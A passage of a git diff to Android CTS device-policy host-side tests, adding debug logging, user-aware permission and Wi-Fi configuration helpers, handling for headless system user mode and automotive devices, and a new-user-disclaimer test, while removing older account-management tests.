@@ -474,7 +545,7 @@ public class CreateAndManageUserTest extends BaseDeviceOwnerTest { public static final class PrimaryUserService extends Service { private static final Semaphore sSemaphore = new Semaphore(0); - private static String sError = null; + private static String sError; private final ICrossUserService.Stub mBinder = new ICrossUserService.Stub() { public void onEnabledCalled(String error) { @@ -493,6 +564,8 @@ public class CreateAndManageUserTest extends BaseDeviceOwnerTest { } static void assertCrossUserCallArrived() throws Exception { + Log.v(TAG, "assertCrossUserCallArrived(): waiting " + ON_ENABLED_TIMEOUT_SECONDS + + " seconds for callback"); assertWithMessage("cross-user call arrived in %ss", ON_ENABLED_TIMEOUT_SECONDS) .that(sSemaphore.tryAcquire(ON_ENABLED_TIMEOUT_SECONDS, TimeUnit.SECONDS)) .isTrue(); @@ -504,11 +577,10 @@ public class CreateAndManageUserTest extends BaseDeviceOwnerTest { } public static final class SecondaryUserAdminReceiver extends DeviceAdminReceiver { - @Override public void onEnabled(Context context, Intent intent) { Log.d(TAG, "SecondaryUserAdminReceiver.onEnabled() called on user " - + context.getUserId()); + + context.getUserId() + " and thread " + Thread.currentThread()); DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class); ComponentName who = getComponentName(context); @@ -547,9 +619,13 @@ public class CreateAndManageUserTest extends BaseDeviceOwnerTest { } catch (InvocationTargetException e) { error = e.getCause().toString(); } + if (error != null) { + Log.e(TAG, "Error calling method: " + error); + } // Call all affiliated users final List<UserHandle> targetUsers = dpm.getBindDeviceAdminTargetUsers(who); + Log.d(TAG, "target users: " + targetUsers); assertWithMessage("target users").that(targetUsers).hasSize(1); pingTargetUser(context, dpm, targetUsers.get(0), error); diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java index 89a7b29d71f..d8cb8486541 100644 --- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java +++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java @@ -30,6 +30,7 @@ import static com.google.common.truth.Truth.assertWithMessage; import android.content.Intent; import android.net.wifi.WifiConfiguration; +import android.os.Process; import android.provider.Settings; import android.util.Log; @@ -54,6 +55,12 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest { Settings.Global.WIFI_DEVICE_OWNER_CONFIGS_LOCKDOWN, "1"); mWifiConfigCreator.addNetwork(ORIGINAL_DEVICE_OWNER_SSID, true, SECURITY_TYPE_WPA, ORIGINAL_PASSWORD); + + Log.d(TAG, "setUp: user=" + Process.myUserHandle() + ", creator=" + mWifiConfigCreator + + ", dpm=" + mDevicePolicyManager + ", wifiMgr=" + mWifiManager + + ", mCurrentUserWifiManager= " + mCurrentUserWifiManager); + logConfigs("setup()", getConfiguredNetworks()); + startRegularActivity(ACTION_CREATE_WIFI_CONFIG, -1, ORIGINAL_REGULAR_SSID, SECURITY_TYPE_WPA, ORIGINAL_PASSWORD); } @@ -62,7 +69,7 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest { protected void tearDown() throws Exception { mDevicePolicyManager.setGlobalSetting(getWho(), Settings.Global.WIFI_DEVICE_OWNER_CONFIGS_LOCKDOWN, "0"); - List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks(); + List<WifiConfiguration> configs = getConfiguredNetworks(); logConfigs("tearDown()", configs); for (WifiConfiguration config : configs) { if (areMatchingSsids(ORIGINAL_DEVICE_OWNER_SSID, config.SSID) || @@ -77,7 +84,7 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest { } public void testDeviceOwnerCanUpdateConfig() throws Exception { - List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks(); + List<WifiConfiguration> configs = getConfiguredNetworks(); logConfigs("testDeviceOwnerCanUpdateConfig()", configs); int updateCount = 0; for (WifiConfiguration config : configs) { @@ -105,7 +112,8 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest { } public void testDeviceOwnerCanRemoveConfig() throws Exception { - List<WifiConfiguration> configs = mWifiManager.getConfiguredNetworks(); + List<WifiConfiguration> configs = getConfiguredNetworks(); + logConfigs("testDeviceOwnerCanRemoveConfig()", configs); int removeCount = 0; for (WifiConfiguration config : configs) { if (areMatchingSsids(ORIGINAL_DEVICE_OWNER_SSID, config.SSID) @@ -114,20 +122,26 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest { // config, and they are auto-removed when the corresponding config is removed. // Recheck every config against the latest list of wifi configurations and skip // those which is already auto-removed. - if (mWifiManager.getConfiguredNetworks().stream() - .noneMatch(c -> c.networkId == config.networkId)) continue; - - assertWithMessage("mWifiManager.removeNetwork(%s)", config.networkId) + Log.d(TAG, "Checking if SSID " + config.SSID + " / id " + config.networkId + + " should be removed"); + if (getConfiguredNetworks().stream() + .noneMatch(c -> c.networkId == config.networkId)) { + Log.d(TAG, "Skipping it"); + continue; + } + Log.d(TAG, "Removing using " + mWifiManager); + assertWithMessage("removeNetwork(%s)", config.networkId) .that(mWifiManager.removeNetwork(config.networkId)).isTrue(); ++removeCount; } } + logConfigs("After removing " + removeCount, configs); assertWithMessage("number of removed configs (the DO created one and the regular one)") .that(removeCount).isEqualTo(2); } public void testRegularAppCannotUpdateDeviceOwnerConfig() throws Exception { - List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks(); + List<WifiConfiguration> configs = getConfiguredNetworks(); logConfigs("testRegularAppCannotUpdateDeviceOwnerConfig()", configs); int updateCount = 0; for (WifiConfiguration config : configs) { @@ -143,7 +157,7 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest { .that(updateCount).isAtLeast(1); // Assert nothing has changed - configs = mWifiConfigCreator.getConfiguredNetworks(); + configs = getConfiguredNetworks(); int notChangedCount = 0; for (WifiConfiguration config : configs) { Log.d(TAG, "testRegularAppCannotUpdateDeviceOwnerConfig(): testing " + config.SSID); @@ -158,7 +172,7 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest { } public void testRegularAppCannotRemoveDeviceOwnerConfig() throws Exception { - List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks(); + List<WifiConfiguration> configs = getConfiguredNetworks(); logConfigs("testRegularAppCannotUpdateDeviceOwnerConfig()", configs); int removeCount = 0; for (WifiConfiguration config : configs) { @@ -175,7 +189,7 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest { .that(removeCount).isAtLeast(1); // Assert nothing has changed - configs = mWifiConfigCreator.getConfiguredNetworks(); + configs = getConfiguredNetworks(); int notChangedCount = 0; for (WifiConfiguration config : configs) { Log.d(TAG, "testRegularAppCannotRemoveDeviceOwnerConfig(): testing " + config.SSID); @@ -216,6 +230,7 @@ public final class WifiConfigLockdownTest extends BaseDeviceOwnerTest { return; } Log.d(TAG, prefix + ": " + configs.size() + " configs: " - + configs.stream().map((c) -> c.SSID).collect(Collectors.toList())); + + configs.stream().map((c) -> c.SSID + "/" + c.networkId) + .collect(Collectors.toList())); } } diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivity.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivity.java index 918094cb7be..5e1f248181a 100644 --- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivity.java +++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivity.java @@ -20,10 +20,10 @@ import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.util.Log; +import android.view.WindowInsets; +import android.view.WindowInsetsController; import android.view.WindowManager; -import java.lang.Override; - /** * A simple activity to install for various users to test LauncherApps. */ @@ -46,6 +46,11 @@ public class SimpleActivity extends Activity { Intent reply = new Intent(); reply.setAction(ACTIVITY_LAUNCHED_ACTION); sendBroadcast(reply); + + final WindowInsetsController insetsController = getWindow().getInsetsController(); + if (insetsController != null) { + insetsController.hide(WindowInsets.Type.navigationBars()); + } } @Override diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java b/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java index 32d53d103ca..c23ee9c7363 100644 --- a/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java +++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java @@ -16,32 +16,34 @@ package com.android.cts.deviceowner.wificonfigcreator; -import android.app.Activity; -import android.content.Intent; -import android.os.Bundle; -import android.util.Log; - -import com.android.compatibility.common.util.WifiConfigCreator; import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_CREATE_WIFI_CONFIG; +import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_REMOVE_WIFI_CONFIG; +import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_UPDATE_WIFI_CONFIG; import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_NETID; import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_PASSWORD; import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SECURITY_TYPE; import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SSID; -import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_REMOVE_WIFI_CONFIG; import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE; -import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_UPDATE_WIFI_CONFIG; + +import android.app.Activity; +import android.content.Intent; +import android.os.Bundle; +import android.util.Log; + +import com.android.compatibility.common.util.WifiConfigCreator; /** * A simple activity to create and manage wifi configurations. */ -public class WifiConfigCreatorActivity extends Activity { +public final class WifiConfigCreatorActivity extends Activity { private static final String TAG = "WifiConfigCreatorActivity"; @Override public void onCreate(Bundle icicle) { super.onCreate(icicle); - Log.i(TAG, "Created for user " + android.os.Process.myUserHandle()); WifiConfigCreator configCreator = new WifiConfigCreator(this); + Log.i(TAG, "onCreate(): user=" + android.os.Process.myUserHandle() + " creator=" + + configCreator); try { Intent intent = getIntent(); String action = intent.getAction(); @@ -49,12 +51,15 @@ public class WifiConfigCreatorActivity extends Activity { String ssid = intent.getStringExtra(EXTRA_SSID); int securityType = intent.getIntExtra(EXTRA_SECURITY_TYPE, SECURITY_TYPE_NONE); String password = intent.getStringExtra(EXTRA_PASSWORD); - configCreator.addNetwork(ssid, false, securityType, password); + Log.d(TAG, "Creating network " + ssid); + int netId = configCreator.addNetwork(ssid, false, securityType, password); + Log.d(TAG, "new id : " + netId); } else if (ACTION_UPDATE_WIFI_CONFIG.equals(action)) { int netId = intent.getIntExtra(EXTRA_NETID, -1); String ssid = intent.getStringExtra(EXTRA_SSID); int securityType = intent.getIntExtra(EXTRA_SECURITY_TYPE, SECURITY_TYPE_NONE); String password = intent.getStringExtra(EXTRA_PASSWORD); + Log.d(TAG, "Updating network " + ssid + " (id " + netId + ")"); configCreator.updateNetwork(netId, ssid, false, securityType, password); } else if (ACTION_REMOVE_WIFI_CONFIG.equals(action)) { int netId = intent.getIntExtra(EXTRA_NETID, -1); @@ -65,6 +70,7 @@ public class WifiConfigCreatorActivity extends Activity { Log.i(TAG, "Unknown command: " + action); } } catch (InterruptedException ie) { + Thread.currentThread().interrupt(); Log.e(TAG, "Interrupted while changing wifi settings", ie); } finally { finish(); diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java index dc32c9a50d6..e6b3e1e43ed 100644 --- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java +++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java @@ -137,34 +137,54 @@ public class PermissionUtils { } public static void checkPermission(String permission, int expected, String packageName) { - assertPermission(permission, packageName, getContext().getPackageManager() - .checkPermission(permission, packageName), expected); + checkPermission(getContext(), permission, expected, packageName); + } + + public static void checkPermission(Context context, String permission, int expected, + String packageName) { + PackageManager pm = context.getPackageManager(); + Log.d(LOG_TAG, "checkPermission(" + permission + ", " + expected + ", " + packageName + + "): " + "using " + pm + " on user " + context.getUser()); + assertPermission(permission, packageName, pm.checkPermission(permission, packageName), + expected); } private static void assertPermission(String permission, String packageName, int actual, int expected) { - assertWithMessage("Wrong status for permission %s on package %s", permission, packageName) - .that(actual).isEqualTo(expected); + assertWithMessage("Wrong status for permission %s on package %s (where %s=%s and %s=%s)", + permission, packageName, + expected, permissionToString(expected), actual, permissionToString(actual)) + .that(actual).isEqualTo(expected); } /** - * Correctly check a runtime permission. This also works for pre-m apps. + * Correctly checks a runtime permission. This also works for pre-{@code M} apps. */ public static void checkPermissionAndAppOps(String permission, int expected, String packageName) throws Exception { - assertPermission(permission, packageName, checkPermissionAndAppOps(permission, packageName), - expected); + checkPermissionAndAppOps(getContext(), permission, expected, packageName); } - private static int checkPermissionAndAppOps(String permission, String packageName) - throws Exception { - PackageInfo packageInfo = getContext().getPackageManager().getPackageInfo(packageName, 0); - if (getContext().checkPermission(permission, -1, packageInfo.applicationInfo.uid) + /** + * Correctly checks a runtime permission. This also works for pre-{@code M} apps. + */ + public static void checkPermissionAndAppOps(Context context, String permission, int expected, + String packageName) throws Exception { + assertPermission(permission, packageName, + checkPermissionAndAppOps(context, permission, packageName), expected); + } + + private static int checkPermissionAndAppOps(Context context, String permission, + String packageName) throws Exception { + Log.d(LOG_TAG, "checkPermissionAndAppOps(): user=" + context.getUser() + + ", permission=" + permission + ", packageName=" + packageName); + PackageInfo packageInfo = context.getPackageManager().getPackageInfo(packageName, 0); + if (context.checkPermission(permission, -1, packageInfo.applicationInfo.uid) == PERMISSION_DENIED) { return PERMISSION_DENIED; } - AppOpsManager appOpsManager = getContext().getSystemService(AppOpsManager.class); + AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class); if (appOpsManager != null && appOpsManager.noteProxyOpNoThrow( AppOpsManager.permissionToOp(permission), packageName, packageInfo.applicationInfo.uid, null, null) diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java index f15f56c5fbd..39f0abd9238 100644 --- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java +++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java @@ -111,6 +111,11 @@ abstract class BaseDeviceOwnerTest extends BaseDevicePolicyTest { executeShellCommand("setprop %s '%s'", PROPERTY_STOP_BG_USERS_ON_SWITCH, value); } + protected boolean isPackageInstalledForUser(String packageName, int userId) throws Exception { + String result = executeShellCommand("pm list packages --user %d %s", userId, packageName); + return result != null && !result.isEmpty(); + } + private void executeDeviceOwnerPackageTestMethod(String className, String testName, int userId) throws Exception { runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName, userId); diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java index c30543b8c9c..f19d6bcf481 100644 --- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java +++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java @@ -76,6 +76,7 @@ import javax.annotation.Nullable; @RunWith(DeviceJUnit4ClassRunner.class) public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test { + private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive"; private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth"; private static final String FEATURE_CAMERA = "android.hardware.camera"; private static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice"; @@ -83,7 +84,6 @@ public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test { private static final String FEATURE_LEANBACK = "android.software.leanback"; private static final String FEATURE_NFC = "android.hardware.nfc"; private static final String FEATURE_NFC_BEAM = "android.software.nfc.beam"; - private static final String FEATURE_PRINT = "android.software.print"; private static final String FEATURE_TELEPHONY = "android.hardware.telephony"; private static final String FEATURE_SECURE_LOCK_SCREEN = "android.software.secure_lock_screen"; @@ -1256,9 +1256,15 @@ public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test { allowTestApiAccess(deviceAdminPkg); } - protected void allowTestApiAccess(String deviceAdminPkg) throws Exception { - CLog.i("Granting ALLOW_TEST_API_ACCESS to package %s", deviceAdminPkg); - executeShellCommand("am compat enable ALLOW_TEST_API_ACCESS %s", deviceAdminPkg); + /** + * Grants access to APIs marked as {@code @TestApi}. + * + * <p><b>Note:</b> the {@code application} tag of the app's manifest must contain + * {@code android:debuggable="true"}, otherwise it won't work on {@code user} builds. + */ + protected void allowTestApiAccess(String pgkName) throws Exception { + CLog.i("Granting ALLOW_TEST_API_ACCESS to package %s", pgkName); + executeShellCommand("am compat enable ALLOW_TEST_API_ACCESS %s", pgkName); } protected void grantPermission(String pkg, String permission, int userId, String reason) @@ -1337,6 +1343,10 @@ public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test { return hasDeviceFeature(FEATURE_LEANBACK); } + boolean isAutomotive() throws DeviceNotAvailableException { + return hasDeviceFeature(FEATURE_AUTOMOTIVE); + } + void pushUpdateFileToDevice(String fileName) throws IOException, DeviceNotAvailableException { File file = File.createTempFile( @@ -1362,7 +1372,7 @@ public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test { } void sleep(int timeMs) throws InterruptedException { - CLog.d("Sleeping %d ms"); + CLog.d("Sleeping %d ms", timeMs); Thread.sleep(timeMs); } } diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java index 075d422e8d4..c6f86b876d8 100644 --- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java +++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java @@ -474,10 +474,12 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest { @RequiresDevice @Test public void testAlwaysOnVpnPackageLogged() throws Exception { + int userId = getUserIdForAlwaysOnVpnTests(); // Will be uninstalled in tearDown(). - installAppAsUser(VPN_APP_APK, mUserId); + installAppAsUser(VPN_APP_APK, userId); assertMetricsLogged(getDevice(), () -> { - executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn"); + executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn", + userId); }, new DevicePolicyEventWrapper.Builder(EventId.SET_ALWAYS_ON_VPN_PACKAGE_VALUE) .setAdminPackageName(DEVICE_ADMIN_PKG) .setStrings(VPN_APP_PKG) @@ -555,6 +557,10 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest { @Test public void testPermissionGrantPreMApp() throws Exception { installAppAsUser(SIMPLE_PRE_M_APP_APK, mUserId); + + if (isHeadlessSystemUserMode()) { + installAppAsUser(SIMPLE_PRE_M_APP_APK, mDeviceOwnerUserId); + } executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState_preMApp"); } @@ -606,65 +612,11 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest { @Test public void testApplicationHidden_cannotHidePolicyExemptApps() throws Exception { + // Needed to access dpm.getPolicyExemptApps() + allowTestApiAccess(DEVICE_ADMIN_PKG); executeDeviceTestMethod(".ApplicationHiddenTest", "testCannotHidePolicyExemptApps"); } - // TODO(b/197491427): AccountManager support in TestApp - @Test - public void testAccountManagement_userRestrictionAddAccount() throws Exception { - installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId); - try { - changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId); - executeAccountTest("testAddAccount_blocked"); - } finally { - // Ensure we clear the user restriction - changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId); - } - executeAccountTest("testAddAccount_allowed"); - } - - // TODO(b/197491427): AccountManager support in TestApp - @Test - public void testAccountManagement_userRestrictionRemoveAccount() throws Exception { - installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId); - try { - changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId); - executeAccountTest("testRemoveAccount_blocked"); - } finally { - // Ensure we clear the user restriction - changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId); - } - executeAccountTest("testRemoveAccount_allowed"); - } - - // TODO(b/197491427): AccountManager support in TestApp - @Test - public void testAccountManagement_disabledAddAccount() throws Exception { - installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId); - try { - changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId); - executeAccountTest("testAddAccount_blocked"); - } finally { - // Ensure we remove account management policies - changeAccountManagement(COMMAND_UNBLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId); - } - executeAccountTest("testAddAccount_allowed"); - } - - // TODO(b/197491427): AccountManager support in TestApp - @Test - public void testAccountManagement_disabledRemoveAccount() throws Exception { - installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId); - try { - changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId); - executeAccountTest("testRemoveAccount_blocked"); - } finally { - // Ensure we remove account management policies - changeAccountManagement(COMMAND_UNBLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId); - } - executeAccountTest("testRemoveAccount_allowed"); - } - @Test public void testDelegatedCertInstaller() throws Exception { installAppAsUser(CERT_INSTALLER_APK, mUserId); @@ -1268,8 +1220,6 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest { } - @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197859595", - reason = "Will be migrated to new test infra") @Test public void testSetKeyPairCertificateLogged() throws Exception { assertMetricsLogged(getDevice(), () -> { @@ -1333,6 +1283,16 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest { @Test public void testPasswordMethodsLogged() throws Exception { + if (isAutomotive()) { + assertMetricsLogged(getDevice(), () -> { + executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged"); + }, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_COMPLEXITY_VALUE) + .setAdminPackageName(DEVICE_ADMIN_PKG) + .setInt(0x50000) + .setBoolean(false) + .build()); + return; + } assertMetricsLogged(getDevice(), () -> { executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged"); }, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_QUALITY_VALUE) @@ -1770,7 +1730,12 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest { protected void installAppPermissionAppAsUser() throws FileNotFoundException, DeviceNotAvailableException { - installAppAsUser(PERMISSIONS_APP_APK, false, mUserId); + installAppPermissionAppAsUser(mUserId); + } + + protected final void installAppPermissionAppAsUser(int userId) + throws FileNotFoundException, DeviceNotAvailableException { + installAppAsUser(PERMISSIONS_APP_APK, false, userId); } private void executeSuspendPackageTestMethod(String testName) throws Exception { diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java index 17c2d48fff1..b9e21f45c08 100644 --- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java +++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java @@ -332,6 +332,53 @@ public class DeviceOwnerTest extends BaseDeviceOwnerTest { executeCreateAndManageUserTest("testCreateAndManageUser_RemoveRestrictionSet"); } + @Test + public void testCreateAndManageUser_newUserDisclaimer() throws Exception { + assumeCanStartNewUser(); + + // TODO(b/217367529) - we need to grant INTERACT_ACROSS_USERS to the test app in the new + // user, so the test is retrying until it gets it, which is done in this thread - not the + // best approach, but given that the test cases are being migrated to the new infra, + // it's good enough enough... + int waitingTimeMs = 5_000; + final int maxAttempts = 10; + new Thread(() -> { + int attempt = 0; + boolean granted = false; + while (!granted && ++attempt <= maxAttempts) { + try { + List<Integer> newUsers = getUsersCreatedByTests(); + if (!newUsers.isEmpty()) { + for (int userId : newUsers) { + CLog.i("Checking if user %d is current user", userId); + int currentUser = getCurrentUser(); + if (currentUser != userId) continue; + CLog.i("Checking if user %d has the package", userId); + if (!isPackageInstalledForUser(DEVICE_OWNER_PKG, userId)) continue; + grantPermission(DEVICE_OWNER_PKG, PERMISSION_INTERACT_ACROSS_USERS, + userId, "to call isNewUserDisclaimerAcknowledged() and " + + "acknowledgeNewUserDisclaimer()"); + granted = true; + } + } + + if (!granted) { + CLog.i("Waiting %dms until new user is switched and package installed " + + "to grant INTERACT_ACROSS_USERS", waitingTimeMs); + } + sleep(waitingTimeMs); + } catch (Exception e) { + CLog.e(e); + return; + } + } + CLog.i("%s says: Good Bye, and thanks for all the fish! BTW, granted=%b in %d attempts", + Thread.currentThread(), granted, attempt); + }, "testCreateAndManageUser_newUserDisclaimer_Thread").start(); + + executeCreateAndManageUserTest("testCreateAndManageUser_newUserDisclaimer"); + } + @FlakyTest(bugId = 126955083) @Test public void testUserAddedOrRemovedBroadcasts() throws Exception { diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java index 75af1c84bf4..c3345b80fb7 100644 --- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java +++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java @@ -35,6 +35,7 @@ import com.google.common.collect.ImmutableMap; import org.junit.Ignore; import org.junit.Test; +import java.io.FileNotFoundException; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; @@ -88,6 +89,16 @@ public final class MixedDeviceOwnerTest extends DeviceAndProfileOwnerTest { super.tearDown(); } + @Override + protected void installAppPermissionAppAsUser() + throws FileNotFoundException, DeviceNotAvailableException { + super.installAppPermissionAppAsUser(); + + if (isHeadlessSystemUserMode()) { + installAppPermissionAppAsUser(mDeviceOwnerUserId); + } + } + @Test public void testLockTask_unaffiliatedUser() throws Exception { assumeCanCreateAdditionalUsers(1); @@ -107,6 +118,24 @@ public final class MixedDeviceOwnerTest extends DeviceAndProfileOwnerTest { userId); } + @Override + @Test + @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549", + reason = "Will be migrated to new test infra") + public void testDelegation() throws Exception { + super.testDelegation(); + } + + @Override + @Test + @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549", + reason = "Will be migrated to new test infra") + public void testDelegationCertSelection() throws Exception { + super.testDelegationCertSelection(); + } + + @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549", + reason = "Will be migrated to new test infra") @Test public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception { setUpDelegatedCertInstallerAndRunTests(() -> @@ -115,6 +144,13 @@ public final class MixedDeviceOwnerTest extends DeviceAndProfileOwnerTest { "testGenerateKeyPairWithDeviceIdAttestationExpectingSuccess", mUserId)); } + @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549", + reason = "Will be migrated to new test infra") + @Override + public void testDelegatedCertInstaller() throws Exception { + super.testDelegatedCertInstaller(); + } + @FlakyTest(bugId = 141161038) @Override @Test @@ -140,22 +176,6 @@ public final class MixedDeviceOwnerTest extends DeviceAndProfileOwnerTest { executeDeviceTestClass(".AdminConfiguredNetworksTest"); } - @Override - @Test - @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197909577", - reason = "Will be migrated to new test infra") - public void testAccountManagement_userRestrictionAddAccount() throws Exception { - super.testAccountManagement_userRestrictionAddAccount(); - } - - @Override - @Test - @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197909577", - reason = "Will be migrated to new test infra") - public void testAccountManagement_userRestrictionRemoveAccount() throws Exception { - super.testAccountManagement_userRestrictionRemoveAccount(); - } - @Test public void testSetTime() throws Exception { assertMetricsLogged(getDevice(), () -> { @@ -501,49 +521,45 @@ public final class MixedDeviceOwnerTest extends DeviceAndProfileOwnerTest { @Override @Test - @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test " - + "makes sense as keys generated by DO wouldn't match keys checked by PO") - public void testKeyManagement() throws Exception { - super.testKeyManagement(); + @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't have UI / credentials") + public void testSetKeyguardDisabledFeatures() throws Exception { + super.testSetKeyguardDisabledFeatures(); } @Override @Test - @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test " - + "makes sense as keys generated by DO wouldn't match keys checked by PO") - public void testGenerateKeyPairLogged() throws Exception { - super.testGenerateKeyPairLogged(); + @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities") + public void testPermissionAppUpdate() throws Exception { + 